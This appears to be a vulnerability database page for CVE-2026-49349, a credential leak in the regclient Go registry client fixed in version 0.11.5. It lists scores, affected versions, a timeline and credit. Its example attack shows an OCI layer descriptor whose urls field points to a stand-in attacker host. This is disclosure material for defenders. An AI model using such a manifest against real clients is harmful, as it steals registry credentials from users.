6.8medium
regclient may leak authentication credentials to external blob stores
- Severity
- 6.8medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.22% (higher than 13% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qvqc-4c52-x6qpGO-2026-5822
Description
regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| regclient regclient | < 0.11.5 | CVE List |
| github.com/regclient/regclient (Go) | before 0.11.5 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 6.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N |
| GitHub | 6.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.
GitHub Advisory Database
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Go Vulnerability Database
regclient may leak authentication credentials to external blob stores in github.com/regclient/regclient
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-49349 changed 2026-08-12 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qvqc-4c52-x6qp changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5822 changed 2026-07-07 | CC-BY-4.0 |
| NVD | CVE-2026-49349 changed 2026-09-09 | Public domain |